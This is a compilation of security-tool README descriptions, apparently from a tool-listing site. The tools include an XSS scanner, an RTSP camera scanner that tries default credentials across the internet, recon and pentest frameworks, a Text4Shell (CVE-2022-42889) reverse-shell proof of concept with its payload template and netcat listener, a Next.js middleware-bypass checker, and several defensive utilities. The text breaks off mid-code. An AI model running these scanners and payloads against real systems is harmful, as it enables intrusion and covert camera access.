Windows: %APPDATA%\VulnKnox\config.json
Edit the config.json file and replace YOUR_API_KEY_HERE with your actual API key.

Discord Webhook (Optional)

If you want to receive notifications on Discord, add your webhook URL to the config.json file or use the -dw flag.

Usage

Usage of vulnknox:

  -u          Input URL to send to KNOXSS API
  -i          Input file containing URLs to send to KNOXSS API
  -X GET      HTTP method to use: GET, POST, or BOTH
  -pd         POST data in format 'param1=value&param2=value'
  -headers    Custom headers in format 'Header1:value1,Header2:value2'
  -afb        Use Advanced Filter Bypass
  -checkpoc   Enable CheckPoC feature
  -flash      Enable Flash Mode
  -o          The file to save the results to
  -ow         Overwrite output file if it exists
  -oa         Output all results to file, not just successful ones
  -s          Only show successful XSS payloads in output
  -p 3        Number of parallel processes (1-5)
  -t 600      Timeout for API requests in seconds
  -dw         Discord Webhook URL (overrides config file)
  -r 3        Number of retries for failed requests
  -ri 30      Interval between retries in seconds
     -sb 0       Skip domains after this many 403 responses
  -proxy      Proxy URL (e.g., http://127.0.0.1:8080)
  -v          Verbose output
  -version    Show version number
  -no-banner  Suppress the banner
  -api-key    KNOXSS API Key (overrides config file)

Basic Examples

Test a single URL using GET method:

vulnknox -u "https://example.com/page?param=value"

Test a URL with POST data:

vulnknox -u "https://example.com/submit" -X POST -pd "param1=value1&param2=value2"

Enable Advanced Filter Bypass and Flash Mode:

vulnknox -u "https://example.com/page?param=value" -afb -flash

Use custom headers (e.g., for authentication):

vulnknox -u "https://example.com/secure" -headers "Cookie:sessionid=abc123"

Process URLs from a file with 5 concurrent processes:

vulnknox -i urls.txt -p 5

Send notifications to Discord on successful XSS findings:

vulnknox -u "https://example.com/page?param=value" -dw "https://discord.com/api/webhooks/your/webhook/url"

Advanced Usage

Test both GET and POST methods with CheckPoC enabled:

vulnknox -u "https://example.com/page" -X BOTH -checkpoc

Use a proxy and increase the number of retries:

vulnknox -u "https://example.com/page?param=value" -proxy "http://127.0.0.1:8080" -r 5

Suppress the banner and only show successful XSS payloads:

vulnknox -u "https://example.com/page?param=value" -no-banner -s

Output Explanation

[ XSS! ]: Indicates a successful XSS payload was found.
[ SAFE ]: No XSS vulnerability was found in the target.
[ ERR! ]: An error occurred during the request.
[ SKIP ]: The domain or URL was skipped due to multiple failed attempts (e.g., after receiving too many 403 Forbidden responses as specified by the -sb option).
[BALANCE]: Indicates your current API usage with KNOXSS, showing how many API calls you've used out of your total allowance.

The tool also provides a summary at the end of execution, including the number of requests made, successful XSS findings, safe responses, errors, and any skipped domains.

Contributing

Contributions are welcome! If you have suggestions for improvements or encounter any issues, please open an issue or submit a pull request.

License

This project is licensed under the MIT License.

Credits

@KN0X55
@BruteLogic
@xnl_h4ck3r

Camtruder - Advanced RTSP Camera Discovery and Vulnerability Assessment Tool

Camtruder is a high-performance RTSP camera discovery and vulnerability assessment tool written in Go. It efficiently scans and identifies vulnerable RTSP cameras across networks using various authentication methods and path combinations, with support for both targeted and internet-wide scanning capabilities.

🌟 Key Features

• Advanced Scanning Capabilities
• Single IP targeting
• CIDR range scanning
• File-based target lists
• Pipe input support
• Internet-wide scanning with customizable limits
• Intelligent port discovery
• Location-based search using RIPE database

• Raw CIDR output for integration with other tools

• Screenshot Capability

• Capture screenshots of discovered cameras
• Automatic saving of JPEG images
• Requires ffmpeg installation

• Configurable output directory

• Location-Based Search

• Search by city or country name
• RIPE database integration
• Detailed output with netnames and IP ranges
• CIDR notation support

• Raw output mode for scripting

• Comprehensive Authentication Testing

• Built-in common credential database
• Custom username/password list support
• File-based credential input
• Multiple authentication format handling

• Credential validation system

• Smart Path Discovery

• Extensive default path database
• Vendor-specific path detection
• Dynamic path generation

• Automatic path validation

• High Performance Architecture

• Multi-threaded scanning engine
• Configurable connection timeouts
• Efficient resource management
• Smart retry mechanisms

• Parallel connection handling

• Advanced Output & Analysis

• Real-time console feedback
• Detailed logging system
• Camera fingerprinting
• Vendor detection
• Stream capability analysis
• Multiple output formats (verbose, raw)

📋 Requirements

• Go 1.19 or higher
• ffmpeg (required for screenshot functionality)
• Internet connection
• Root/Administrator privileges (for certain scanning modes)
• Sufficient system resources for large-scale scans

🔧 Installation

Using go install (recommended)

go install github.com/ALW1EZ/camtruder@v3.7.0

From source

git clone https://github.com/ALW1EZ/camtruder.git
cd camtruder
go build

🚀 Usage

Basic Commands

# Scan a single IP
./camtruder -t 192.168.1.100

# Scan a network range
./camtruder -t 192.168.1.0/24

# Search by location with detailed output
./camtruder -t london -s
> [ NET-ISP ] [ 192.168.1.0/24 ] [256]

# Get raw CIDR ranges for location
./camtruder -t london -ss
> 192.168.1.0/24

# Scan multiple IPs from file
./camtruder -t targets.txt

# Take screenshots of discovered cameras
./camtruder -t 192.168.1.0/24 -m screenshots

# Pipe from port scanners
naabu -host 192.168.1.0/24 -p 554 | camtruder
masscan 192.168.1.0/24 -p554 --rate 1000 | awk '{print $6}' | camtruder
zmap -p554 192.168.0.0/16 | camtruder

# Internet scan (scan till 100 hits)
./camtruder -t 100

Advanced Options

# Custom credentials with increased threads
./camtruder -t 192.168.1.0/24 -u admin,root -p pass123,admin123 -w 50

# Location search with raw output piped to zmap
./camtruder -t berlin -ss | while read range; do zmap -p 554 $range; done

# Save results to file (as full url, you can use mpv --playlist=results.txt to watch the streams)
./camtruder -t istanbul -o results.txt

# Internet scan with limit of 50 workers and verbose output
./camtruder -t 100 -w 50 -v

🛠️ Command Line Options

📊 Output Formats

Standard Search Output (-s)

[ TR-NET-ISP ] [ 193.3.52.0/24 ] [256]
[ EXAMPLE-ISP ] [ 212.175.100.136/29 ] [8]

Raw CIDR Output (-ss)

193.3.52.0/24
212.175.100.136/29

Scan Results

╭─ Found vulnerable camera [Hikvision, H264, 30fps]
├ Host      : 192.168.1.100:554
├ Geo       : United States/California/Berkeley
├ Auth      : admin:12345
├ Path      : /Streaming/Channels/1
╰ URL       : rtsp://admin:12345@192.168.1.100:554/Streaming/Channels/1

⚠️ Disclaimer

This tool is intended for security research and authorized testing only. Users are responsible for ensuring they have permission to scan target systems and comply with all applicable laws and regulations.

📝 License

This project is licensed under the MIT License - see the LICENSE file for details.

🙏 Acknowledgments

• Thanks to all contributors and the security research community
• Special thanks to the Go RTSP library maintainers
• Inspired by various open-source security tools

📬 Contact

• Author: @ALW1EZ
• Project Link: https://github.com/ALW1EZ/camtruder

Made by @ALW1EZ

Frogy2.0 - An Automated External Reconnaissance And Attack Surface Management (ASM) Toolkit

Frogy 2.0 is an automated external reconnaissance and Attack Surface Management (ASM) toolkit designed to map out an organization's entire internet presence. It identifies assets, IP addresses, web applications, and other metadata across the public internet and then smartly prioritizes them with highest (most attractive) to lowest (least attractive) from an attacker's playground perspective.

Features

• Comprehensive recon:
  Aggregate subdomains and assets using multiple tools (CHAOS, Subfinder, Assetfinder, crt.sh) to map an organization's entire digital footprint.

• Live asset verification:
  Validate assets with live DNS resolution and port scanning (using DNSX and Naabu) to confirm what is publicly reachable.

• In-depth web recon:
  Collect detailed HTTP response data (via HTTPX) including metadata, technology stack, status codes, content lengths, and more.

• Smart prioritization:
  Use a composite scoring system that considers homepage status, login identification, technology stack, and DNS data and much more to generate risk score for each assets helping bug bounty hunters and pentesters focus on the most promising targets to start attacks with.

• Professional reporting:
  Generate a dynamic, colour-coded HTML report with a modern design and dark/light theme toggle.

Risk Scoring: Asset Attractiveness Explained

In this tool, risk scoring is based on the notion of asset attractiveness—the idea that certain attributes or characteristics make an asset more interesting to attackers. If we see more of these attributes, the overall score goes up, indicating a broader "attack surface" that adversaries could leverage. Below is an overview of how each factor contributes to the final risk score.

Screenshots

1. Purpose of the Asset

• Employee-Intended Assets
  If a subdomain or system is meant for internal (employee/colleague) use, it's often higher value for attackers. Internal portals or dashboards tend to hold sensitive data or offer privileged functionality. Therefore, if the domain is flagged as employee‐only, its score increases.

2. URLs Found

• Valid/Accessible URL
  If the tool identifies a workable URL (e.g., HTTP/HTTPS) for the asset, it means there's a real endpoint to attack. An asset that isn't listening on a web port or is offline is less interesting—so any resolvable URL raises the score slightly.

3. Login Interfaces

• Login Pages
  The presence of a login form indicates some form of access control or user authentication. Attackers often target logins to brute‐force credentials, attempt SQL injection, or exploit session handling. Thus, any discovered login endpoint bumps the score.

4. HTTP Status 200

• Accessible Status Code
  If an endpoint actually returns a 200 OK, it often means the page is legitimately reachable and responding with content. A 200 OK is more interesting to attackers than a 404 or a redirect—so a 200 status modestly increases the risk.

5. TLS Version

• Modern vs. Outdated TLS
  If an asset is using older SSL/TLS protocols (or no TLS), that's a bigger risk. However, to simplify:
• TLS 1.2 or 1.3 is considered standard (no penalty).
• Anything older or absent is penalized by adding to the score.

6. Certificate Expiry

• Imminent Expiry
  Certificates expiring soon (within a few weeks) can indicate potential mismanagement or a higher chance of downtime or misconfiguration. Short‐term expiry windows (≤ 7 days, ≤ 14 days, ≤ 30 days) add a cumulative boost to the risk score.

7. Missing Security Headers

• Security Header Hygiene
  The tool checks for typical headers like:
• Strict-Transport-Security (HSTS)
• X-Frame-Options
• Content-Security-Policy
• X-XSS-Protection
• Referrer-Policy
• Permissions-Policy

Missing or disabled headers mean an endpoint is more prone to common web exploits. Each absent header increments the score.

8. Open Ports

• Port Exposure
  The more open ports (and associated services) an asset exposes, the broader the potential attack surface. Each open port adds to the risk score.

9. Technology Stack (Tech Count)

• Number of Technologies Detected
  Attackers love multi‐tech stacks because more software → more possible CVEs or misconfigurations. Each identified technology (e.g., Apache, PHP, jQuery, etc.) adds to the overall attractiveness of the target.

Putting It All Together

Each factor above contributes one or more points to the final risk score. For example:

1. +1 if the purpose is employee‐intended
2. +1 if the asset is a valid URL
3. +1 if a login is found
4. +1 if it returns HTTP 200
5. +1 if TLS is older than 1.2 or absent
6. +1–3 for certificates expiring soon (≤ 30 days)
7. +1 for each missing security header
8. +1 per open port
9. +1 per detected technology
10. +1 per each management ports open
11. +1 per each database ports open

Once all factors are tallied, we get a numeric risk score. Higher means more interesting and potentially gives more room for pentesters to test around to an attacker.

Why This Matters
This approach helps you quickly prioritize which assets warrant deeper testing. Subdomains with high counts of open ports, advanced internal usage, missing headers, or login panels are more complex, more privileged, or more likely to be misconfigured—therefore, your security team can focus on those first.

Installation

Clone the repository and run the installer script to set up all dependencies and tools:

chmod +x install.sh
./install.sh

Usage

chmod +x frogy.sh
./frogy.sh domains.txt

Video Demo

https://www.youtube.com/watch?v=LHlU4CYNj1M

Future Roadmap

• Completed ✅ ~~Adding security and compliance-related data (SSL/TLS hygiene, SPF, DMARC, Headers etc)~~
• Completed ✅ ~~Allow to filter column data.~~
• Completed ✅ ~~Add more analytics based on new data.~~
• Completed ✅ ~~Identify login portals.~~
• Completed ✅ ~~Basic dashboard/analytics if possible.~~
• Completed ✅ ~~Display all open ports in one of the table columns.~~
• Completed ✅ ~~Pagination to access information faster without choking or lagging on the home page.~~
• Completed ✅ ~~Change font color in darkmode.~~
• Completed ✅ ~~Identify traditional endpoints vs. API endpoints.~~
• Completed ✅ ~~Identifying customer-intended vs colleague-intended applications.~~
• Completed ✅ ~~Enhance prioritisation for target picking. (Scoring based on management ports, login found, customer vs colleague intended apps, security headers not set, ssl/tls usage, etc.)~~
• Completed ✅ ~~Implement parallel run, time out functionality.~~
• Completed ✅ ~~Scan SSL/TLS for the url:port pattern and not just domain:443 pattern.-~~
• Completed ✅ ~~Using mouseover on the attack surface column's score, you can now know why and how score is calculated-~~
• Completed ✅ ~~Generate CSV output same as HTML table.~~
• Completed ✅ ~~Self-contained HTML output is generated now. So no need to host a file on web server to access results.~~
• Completed ✅ ~~To add all DNS records (A, MX, SOA, SRV, CNAME, CAA, etc.)~~
• Completed ✅ ~~Consolidate the two CDN charts into one.~~
• Completed ✅ ~~Added PTR record column to the main table.~~
• Completed ✅ ~~Implemented horizontal and vertical scrolling for tables and charts, with the first title row frozen for easier data reference while scrolling.~~
• Completed ✅ ~~Added screenshot functionality.~~
• Completed ✅ ~~Added logging functionality. Logs are stored at /logs/logs.log~~
• Completed ✅ ~~Added extra score for the management and database ports exposed.~~
• Solve the screen jerk issue.
• Identify abandoned and unwanted applications.

PEGASUS-NEO - A Comprehensive Penetration Testing Framework Designed For Security Professionals And Ethical Hackers. It Combines Multiple Security Tools And Custom Modules For Reconnaissance, Exploitation, Wireless Attacks, Web Hacking, And More

                              ____                                  _   _ 
                             |  _ \ ___  __ _  __ _ ___ _   _ ___| \ | |
                             | |_) / _ \/ _` |/ _` / __| | | / __|  \| |
                             |  __/  __/ (_| | (_| \__ \ |_| \__ \ |\  |
                             |_|   \___|\__, |\__,_|___/\__,_|___/_| \_|
                                       |___/                             
                                 ███▄    █ ▓█████  ▒█████  
                                 ██ ▀█   █ ▓█   ▀ ▒██▒  ██▒
                                ▓██  ▀█ ██▒▒███   ▒██░  ██▒
                                ▓██▒  ▐▌██▒▒▓█  ▄ ▒██   ██░
                                ▒██░   ▓██░░▒████▒░ ████▓▒░
                                ░ ▒░   ▒ ▒ ░░ ▒░ ░░ ▒░▒░▒░ 
                                ░ ░░   ░ ▒░ ░ ░  ░  ░ ▒ ▒░ 
                                   ░   ░ ░    ░   ░ ░ ░ ▒  
                                         ░    ░  ░    ░ ░

PEGASUS-NEO Penetration Testing Framework

🛡️ Description

PEGASUS-NEO is a comprehensive penetration testing framework designed for security professionals and ethical hackers. It combines multiple security tools and custom modules for reconnaissance, exploitation, wireless attacks, web hacking, and more.

⚠️ Legal Disclaimer

This tool is provided for educational and ethical testing purposes only. Usage of PEGASUS-NEO for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws.

Developers assume no liability and are not responsible for any misuse or damage caused by this program.

🔒 Copyright Notice

PEGASUS-NEO - Advanced Penetration Testing Framework
Copyright (C) 2024 Letda Kes dr. Sobri. All rights reserved.

This software is proprietary and confidential. Unauthorized copying, transfer, or
reproduction of this software, via any medium is strictly prohibited.

Written by Letda Kes dr. Sobri <muhammadsobrimaulana31@gmail.com>, January 2024

🌟 Features

Password: Sobri

• Reconnaissance & OSINT
• Network scanning
• Email harvesting
• Domain enumeration

• Social media tracking

• Exploitation & Pentesting

• Automated exploitation
• Password attacks
• SQL injection

• Custom payload generation

• Wireless Attacks

• WiFi cracking
• Evil twin attacks

• WPS exploitation

• Web Attacks

• Directory scanning
• XSS detection
• SQL injection

• CMS scanning

• Social Engineering

• Phishing templates
• Email spoofing

• Credential harvesting

• Tracking & Analysis

• IP geolocation
• Phone number tracking
• Email analysis
• Social media hunting

🔧 Installation

# Clone the repository
git clone https://github.com/sobri3195/pegasus-neo.git

# Change directory
cd pegasus-neo

# Install dependencies
sudo python3 -m pip install -r requirements.txt

# Run the tool
sudo python3 pegasus_neo.py

📋 Requirements

• Python 3.8+
• Linux Operating System (Kali/Ubuntu recommended)
• Root privileges
• Internet connection

🚀 Usage

1. Start the tool:

sudo python3 pegasus_neo.py

1. Enter authentication password
2. Select category from main menu
3. Choose specific tool or module
4. Follow on-screen instructions

🔐 Security Features

• Source code protection
• Integrity checking
• Anti-tampering mechanisms
• Encrypted storage
• Authentication system

🛠️ Supported Tools

Reconnaissance & OSINT

• Nmap
• Wireshark
• Maltego
• Shodan
• theHarvester
• Recon-ng
• SpiderFoot
• FOCA
• Metagoofil

Exploitation & Pentesting

• Metasploit
• SQLmap
• Commix
• BeEF
• SET
• Hydra
• John the Ripper
• Hashcat

Wireless Hacking

• Aircrack-ng
• Kismet
• WiFite
• Fern Wifi Cracker
• Reaver
• Wifiphisher
• Cowpatty
• Fluxion

Web Hacking

• Burp Suite
• OWASP ZAP
• Nikto
• XSStrike
• Wapiti
• Sublist3r
• DirBuster
• WPScan

📝 Version History

• v1.0.0 (2024-01) - Initial release
• v1.1.0 (2024-02) - Added tracking modules
• v1.2.0 (2024-03) - Added tool installer

👥 Contributing

This is a proprietary project and contributions are not accepted at this time.

🤝 Support

For support, please email muhammadsobrimaulana31@gmail.com atau https://lynk.id/muhsobrimaulana

⚖️ License

This project is protected under proprietary license. See the LICENSE file for details.

Made with ❤️ by Letda Kes dr. Sobri

Text4Shell-Exploit - A Custom Python-based Proof-Of-Concept (PoC) Exploit Targeting Text4Shell (CVE-2022-42889), A Critical Remote Code Execution Vulnerability In Apache Commons Text Versions < 1.10

A custom Python-based proof-of-concept (PoC) exploit targeting Text4Shell (CVE-2022-42889), a critical remote code execution vulnerability in Apache Commons Text versions < 1.10. This exploit targets vulnerable Java applications that use the StringSubstitutor class with interpolation enabled, allowing injection of ${script:...} expressions to execute arbitrary system commands.

In this PoC, exploitation is demonstrated via the data query parameter; however, the vulnerable parameter name may vary depending on the implementation. Users should adapt the payload and request path accordingly based on the target application's logic.

Disclaimer: This exploit is provided for educational and authorized penetration testing purposes only. Use responsibly and at your own risk.

Description

This is a custom Python3 exploit for the Apache Commons Text vulnerability known as Text4Shell (CVE-2022-42889). It allows Remote Code Execution (RCE) via insecure interpolators when user input is dynamically evaluated by StringSubstitutor.

Tested against: - Apache Commons Text < 1.10.0 - Java applications using ${script:...} interpolation from untrusted input

Usage

python3 text4shell.py <target_ip> <callback_ip> <callback_port>

Example

python3 text4shell.py 127.0.0.1 192.168.1.2 4444

Make sure to set up a lsitener on your attacking machine:

nc -nlvp 4444

Payload Logic

The script injects:

${script:javascript:java.lang.Runtime.getRuntime().exec(...)}

The reverse shell is sent via /data parameter using a POST request.

Ghost-Route - Ghost Route Detects If A Next JS Site Is Vulnerable To The Corrupt Middleware Bypass Bug (CVE-2025-29927)

A Python script to check Next.js sites for corrupt middleware vulnerability (CVE-2025-29927).

The corrupt middleware vulnerability allows an attacker to bypass authentication and access protected routes by send a custom header x-middleware-subrequest.

Next JS versions affected: - 11.1.4 and up

[!WARNING] This tool is for educational purposes only. Do not use it on websites or systems you do not own or have explicit permission to test. Unauthorized testing may be illegal and unethical.

Installation

Clone the repo

git clone https://github.com/takumade/ghost-route.git
cd ghost-route

Create and activate virtual environment

python -m venv .venv
source .venv/bin/activate

Install dependencies

pip install -r requirements.txt

Usage

python ghost-route.py <url> <path> <show_headers>

• <url>: Base URL of the Next.js site (e.g., https://example.com)
• <path>: Protected path to test (default: /admin)
• <show_headers>: Show response headers (default: False)

Example

Basic Example

python ghost-route.py https://example.com /admin

Show Response Headers

python ghost-route.py https://example.com /admin True

License

MIT License

Credits

• CVE-2025-29927
• Next.js and the corrupt middleware: the authorizing artifact
• Rachid A.
• Yasser Allam

Bytesrevealer - Online Reverse Enginerring Viewer

Bytes Revealer is a powerful reverse engineering and binary analysis tool designed for security researchers, forensic analysts, and developers. With features like hex view, visual representation, string extraction, entropy calculation, and file signature detection, it helps users uncover hidden data inside files. Whether you are analyzing malware, debugging binaries, or investigating unknown file formats, Bytes Revealer makes it easy to explore, search, and extract valuable information from any binary file.

Bytes Revealer do NOT store any file or data. All analysis is performed in your browser.

Current Limitation: Files less than 50MB can perform all analysis, files bigger up to 1.5GB will only do Visual View and Hex View analysis.

Features

File Analysis

• Chunked file processing for memory efficiency
• Real-time progress tracking
• File signature detection
• Hash calculations (MD5, SHA-1, SHA-256)
• Entropy and Bytes Frequency analysis

Multiple Views

File View

• Basic file information and metadata
• File signatures detection
• Hash values
• Entropy calculation
• Statistical analysis

Visual View

• Binary data visualization
• ASCII or Bytes searching
• Data distribution view
• Highlighted pattern matching

Hex View

• Traditional hex editor interface
• Byte-level inspection
• Highlighted pattern matching
• ASCII representation
• ASCII or Bytes searching

String Analysis

• ASCII and UTF-8 string extraction
• String length analysis
• String type categorization
• Advanced filtering and sorting
• String pattern recognition
• Export capabilities

Search Capabilities

• Hex pattern search
• ASCII/UTF-8 string search
• Regular expression support
• Highlighted search results

Technical Details

Built With

• Vue.js 3
• Tailwind CSS
• Web Workers for performance
• Modern JavaScript APIs

Performance Features

• Chunked file processing
• Web Worker implementation
• Memory optimization
• Cancelable operations
• Progress tracking

Getting Started

Prerequisites

# Node.js 14+ is required
node -v

Docker Usage

docker-compose build --no-cache

docker-compose up -d

Now open your browser: http://localhost:8080/

To stop the docker container

docker-compose down

Installation

# Clone the repository
git clone https://github.com/vulnex/bytesrevealer

# Navigate to project directory
cd bytesrevealer

# Install dependencies
npm install

# Start development server
npm run dev

Building for Production

# Build the application
npm run build

# Preview production build
npm run preview

Usage

1. File Upload
2. Click "Choose File" or drag and drop a file

3. Progress bar shows upload and analysis status

4. Analysis Views

5. Switch between views using the tab interface
6. Each view provides different analysis perspectives

7. Real-time updates as you navigate

8. Search Functions

9. Use the search bar for pattern matching
10. Toggle between hex and string search modes

11. Results are highlighted in the current view

12. String Analysis

13. View extracted strings with type and length
14. Filter strings by type or content
15. Sort by various criteria
16. Export results in multiple formats

Performance Considerations

• Large files are processed in chunks
• Web Workers handle intensive operations
• Memory usage is optimized
• Operations can be canceled if needed

Browser Compatibility

• Chrome 80+
• Firefox 75+
• Safari 13.1+
• Edge 80+

Contributing

1. Fork the project
2. Create your feature branch (git checkout -b feature/AmazingFeature)
3. Commit your changes (git commit -m 'Add some AmazingFeature')
4. Push to the branch (git push origin feature/AmazingFeature)
5. Open a Pull Request

License

This project is licensed under the MIT License - see the LICENSE.md file for details.

Security Considerations

• All strings are properly escaped
• Input validation is implemented
• Memory limits are enforced
• File size restrictions are in place

Future Enhancements

• Additional file format support
• More visualization options
• Pattern recognition improvements
• Advanced string analysis features
• Export/import capabilities
• Collaboration features

CentralizedFirewall - Provides A Firewall Manager API Designed To Centralize And Streamline The Management Of Firewall Configurations

Firewall Manager API Project

Installation

Follow these steps to set up and run the API project:

1. Clone the Repository

git clone https://github.com/adriyansyah-mf/CentralizedFirewall
cd CentralizedFirewall

2. Edit the .env File

Update the environment variables in .env according to your configuration.

nano .env

3. Start the API with Docker Compose

docker compose up -d

This will start the API in detached mode.

4. Verify the API is Running

Check if the containers are up:

docker ps

Additional Commands

Stop the API

docker compose down

Restart the API

docker compose restart

Let me know if you need any modifications! 🚀

How to setup for the first time and connect to firewall client

1. Install Firewall Agent on your node server
2. Run the agent with the following command

sudo dpkg -i firewall-client_deb.deb

1. Create a New Group on the Firewall Manager
2. Create New API Key on the Firewall Manager
3. Edit the configuration file on the node server

nano /usr/local/bin/config.ini

1. Add the following configuration

[settings]
api_url = API-URL
api_key = API-KEY
hostname = Node Hostname (make it unique and same as the hostname on the SIEM) 

1. Restart the firewall agent

systemctl daemon-reload
systemctl start firewall-agent

1. Check the status of the firewall agent

systemctl status firewall-agent

1. You will see the connected node on the Firewall Manager

Default Credential

Username: admin
Password: admin

You can change the default credential on the setting page

How to Integration with SIEM

1. Install the SIEM on your server
2. Configure the SIEM to send the log to the Firewall Manager (You can do this via SOAR or SIEM configuration) The request should be POST with the following format
3. The format of the log should be like this

curl -X 'POST' \
  'http://api-server:8000/general/add-ip?ip=123.1.1.99&hostname=test&apikey=apikey&comment=log' \
  -H 'accept: application/json' \
  -d ''

You can see the swagger documentation on the following link

http://api-server:8000/docs

The .env detail configuration

DB=changeme
JWT_SECRET=changeme
PASSWORD_SALT=changme
PASSWORD_TOKEN_KEY=changme
OPENCTI_URL=changme
OPENCTI_TOKEN=changme

Sponsor This Project 💖

If you find this project helpful, consider supporting me through GitHub Sponsors

Maryam - Open-source Intelligence(OSINT) Framework

OWASP Maryam is a modular open-source framework based on OSINT and data gathering. It is designed to provide a robust environment to harvest data from open sources and search engines quickly and thoroughly.

Installation

Supported OS

• Linux
• FreeBSD
• Darwin
• OSX

$ pip install maryam

Alternatively, you can install the latest version with the following command (Recommended):

pip install git+https://github.com/saeeddhqan/maryam.git

Usage

# Using dns_search. --max means all of resources. --api shows the results as json.
# .. -t means use multi-threading.
maryam -e dns_search -d ibm.com -t 5 --max --api --form 
# Using youtube. -q means query
maryam -e youtube -q "<QUERY>"
maryam -e google -q "<QUERY>"
maryam -e dnsbrute -d domain.tld
# Show framework modules
maryam -e show modules
# Set framework options.
maryam -e set proxy ..
maryam -e set agent ..
maryam -e set timeout ..
# Run web API
maryam -e web api 127.0.0.1 1313

Contribution

Here is a start guide: Development Guide You can add a new search engine to the util classes or use the current search engines to write a new module. The best help to write a new module is checking the current modules.

Roadmap

• Write a language model based search

Links

OWASP

Wiki

Install

Modules Guide

Development Guide

To report bugs, requests, or any other issues please create an issue.

TruffleHog Explorer - A User-Friendly Web-Based Tool To Visualize And Analyze Data Extracted Using TruffleHog

Welcome to TruffleHog Explorer, a user-friendly web-based tool to visualize and analyze data extracted using TruffleHog. TruffleHog is one of the most powerful secrets discovery, classification, validation, and analysis open source tool. In this context, a secret refers to a credential a machine uses to authenticate itself to another machine. This includes API keys, database passwords, private encryption keys, and more.

With an improved UI/UX, powerful filtering options, and export capabilities, this tool helps security professionals efficiently review potential secrets and credentials found in their repositories.

⚠️ This dashboard has been tested only with GitHub TruffleHog JSON outputs. Expect updates soon to support additional formats and platforms.

You can use online version here: TruffleHog Explorer

🚀 Features

• Intuitive UI/UX: Beautiful pastel theme with smooth navigation.
• Powerful Filtering:
• Filter findings by repository, detector type, and uploaded file.
• Flexible date range selection with a calendar picker.
• Verification status categorization for effective review.
• Advanced search capabilities for faster identification.
• Batch Operations:
• Verify or reject multiple findings with a single click.
• Toggle visibility of rejected results for a streamlined view.
• Bulk processing to manage large datasets efficiently.
• Export Capabilities:
• Export verified secrets or filtered findings effortlessly.
• Save and load session backups for continuity.
• Generate reports in multiple formats (JSON, CSV).
• Dynamic Sorting:
• Sort results by repository, date, or verification status.
• Customizable sorting preferences for a personalized experience.

📥 Installation & Usage

1. Clone the Repository

$ git clone https://github.com/yourusername/trufflehog-explorer.git
$ cd trufflehog-explorer

2. Open the index.html

Simply open the index.html file in your preferred web browser.

$ open index.html

📂 How to Use

1. Upload TruffleHog JSON Findings:
2. Click on the "Load Data" section and select your .json files from TruffleHog output.
3. Multiple files are supported.
4. Apply Filters:
5. Choose filters such as repository, detector type, and verification status.
6. Utilize the date range picker to narrow down findings.
7. Leverage the search function to locate specific findings quickly.
8. Review Findings:
9. Click on a finding to expand and view its details.
10. Use the action buttons to verify or reject findings.
11. Add comments and annotations for better tracking.
12. Export Results:
13. Export verified or filtered findings for reporting.
14. Save session data for future review and analysis.
15. Save Your Progress:
16. Save your session and resume later without losing any progress.
17. Automatic backup feature to prevent data loss.

Happy Securing! 🔒

PANO - Advanced OSINT Investigation Platform Combining Graph Visualization, Timeline Analysis, And AI Assistance To Uncover Hidden Connections In Data

Getting Started

1. Clone the repository: bash git clone https://github.com/ALW1EZ/PANO.git cd PANO

2. Run the application:

3. Linux: ./start_pano.sh
4. Windows: start_pano.bat

The startup script will automatically: - Check for updates - Set up the Python environment - Install dependencies - Launch PANO

In order to use Email Lookup transform You need to login with GHunt first. After starting the pano via starter scripts;

1. Select venv manually
2. Linux: source venv/bin/activate
3. Windows: call venv\Scripts\activate
4. See how to login here

💡 Quick Start Guide

1. Create Investigation: Start a new investigation or load an existing one
2. Add Entities: Drag entities from the sidebar onto the graph
3. Discover Connections: Use transforms to automatically find relationships
4. Analyze: Use timeline and map views to understand patterns
5. Save: Export your investigation for later use

🔍 Features

🕸️ Core Functionality

• Interactive Graph Visualization
• Drag-and-drop entity creation
• Multiple layout algorithms (Circular, Hierarchical, Radial, Force-Directed)
• Dynamic relationship mapping

• Visual node and edge styling

• Timeline Analysis

• Chronological event visualization
• Interactive timeline navigation
• Event filtering and grouping

• Temporal relationship analysis

• Map Integration

• Geographic data visualization
• Location-based analysis
• Interactive mapping features
• Coordinate plotting and tracking

🎯 Entity Management

• Supported Entity Types
• 📧 Email addresses
• 👤 Usernames
• 🌐 Websites
• 🖼️ Images
• 📍 Locations
• ⏰ Events
• 📝 Text content
• 🔧 Custom entity types

🔄 Transform System

• Email Analysis
• Google account investigation
• Calendar event extraction
• Location history analysis

• Connected services discovery

• Username Analysis

• Cross-platform username search
• Social media profile discovery
• Platform correlation

• Web presence analysis

• Image Analysis

• Reverse image search
• Visual content analysis
• Metadata extraction
• Related image discovery

🤖 AI Integration

• PANAI
• Natural language investigation assistant
• Automated entity extraction and relationship mapping
• Pattern recognition and anomaly detection
• Multi-language support
• Context-aware suggestions
• Timeline and graph analysis

🧩 Core Components

📦 Entities

Entities are the fundamental building blocks of PANO. They represent distinct pieces of information that can be connected and analyzed:

• Built-in Types
• 📧 Email: Email addresses with service detection
• 👤 Username: Social media and platform usernames
• 🌐 Website: Web pages with metadata
• 🖼️ Image: Images with EXIF and analysis
• 📍 Location: Geographic coordinates and addresses
• ⏰ Event: Time-based occurrences

• 📝 Text: Generic text content

• Properties System

• Type-safe property validation
• Automatic property getters
• Dynamic property updates
• Custom property types
• Metadata support

⚡ Transforms

Transforms are automated operations that process entities to discover new information and relationships:

• Operation Types
• 🔍 Discovery: Find new entities from existing ones
• 🔗 Correlation: Connect related entities
• 📊 Analysis: Extract insights from entity data
• 🌐 OSINT: Gather open-source intelligence

• 🔄 Enrichment: Add data to existing entities

• Features

• Async operation support
• Progress tracking
• Error handling
• Rate limiting
• Result validation

🛠️ Helpers

Helpers are specialized tools with dedicated UIs for specific investigation tasks:

• Available Helpers
• 🔍 Cross-Examination: Analyze statements and testimonies
• 👤 Portrait Creator: Generate facial composites
• 📸 Media Analyzer: Advanced image processing and analysis
• 🔍 Base Searcher: Search near places of interest

• 🔄 Translator: Translate text between languages

• Helper Features

• Custom Qt interfaces
• Real-time updates
• Graph integration
• Data visualization
• Export capabilities

👥 Contributing

We welcome contributions! To contribute to PANO:

1. Fork the repository at https://github.com/ALW1EZ/PANO/
2. Make your changes in your fork
3. Test your changes thoroughly
4. Create a Pull Request to our main branch
5. In your PR description, include:
6. What the changes do
7. Why you made these changes
8. Any testing you've done
9. Screenshots if applicable

Note: We use a single main branch for development. All pull requests should be made directly to main.

📖 Development Guide

from dataclasses import dataclass
from typing import ClassVar, Dict, Any
from .base import Entity

@dataclass
class PhoneNumber(Entity):
